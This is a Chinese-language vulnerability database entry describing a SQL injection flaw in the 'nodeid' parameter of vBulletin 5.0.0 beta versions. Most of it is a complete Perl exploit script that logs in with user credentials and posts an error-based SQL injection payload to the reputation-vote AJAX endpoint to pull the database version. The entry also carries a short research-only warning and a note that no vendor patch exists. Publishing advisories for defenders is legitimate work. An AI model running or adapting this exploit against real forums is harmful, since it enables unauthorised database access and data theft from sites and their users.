ZeroBox Vulnerability Database

受影响系统：
VBulletin VBulletin
描述：
BUGTRAQ ID: 58754

vBulletin是一个强大灵活并可完全根据自己的需要定制的论坛程序套件。

VBulletin 5.0.0 Beta 11 – 5.0.0 Beta 28及其他版本在 ‘nodeid’ 参数的实现上存在SQL注入漏洞，攻击者可利用此漏洞破坏应用，执行未授权操作。

<*来源：Orestis Kourides *>

测试方法：
警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq ‘MSWin32’ ? ‘cls’ : ‘clear’;
print ”
+===================================================+
| vBulletin 5 Beta XX SQLi 0day |
| Author: Orestis Kourides |
| Web Site: www.cyitsec.net |
+===================================================+
“;

if (@ARGV != 5) {
print “\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS
MAGICNUM\r\n”;
exit;
}

$host = $ARGV[0];
$path = $ARGV[1];
$username = $ARGV[2];
$password = $ARGV[3];
$magicnum = $ARGV[4];
$encpath = encode_base64(‘http://’.$host.$path);
print “[+] Logging\n”;
print “[+] Username: “.$username.”\n”;
print “[+] Password: “.$password.”\n”;
print “[+] MagicNum: “.$magicnum.”\n”;
print “[+] ” .$host.$path.”auth/login\n”;
my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;
my $response = $browser->post( ‘http://’.$host.$path.’auth/login’,
[
‘url’ => $encpath,
‘username’ => $username,
‘password’ => $password,
],
Referer =>
‘http://’.$host.$path.’auth/login-form?url=http://’.$host.$path.”,
User-Agent => ‘Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101
Firefox/13.0’,
);
$browser->cookie_jar( $cookie_jar );
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( $cookie_jar );
print “[+] Requesting\n”;
my $response = $browser->post(
‘http://’.$host.$path.’index.php/ajax/api/reputation/vote’,
[
‘nodeid’ => $magicnum.’) and(select 1 from(select
count(*),concat((select (select concat(0x23,cast(version() as
char),0x23)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND
(1338=1338′,
],
User-Agent => ‘Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101
Firefox/13.0’,
);
$data = $response->content;
if ($data =~ /(#((\\.)|[^\\#])*#)/) { print ‘[+] Version: ‘.$1 };
print “\n”;
exit 1;

建议：
厂商补丁：

VBulletin
———
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.vbulletin.com/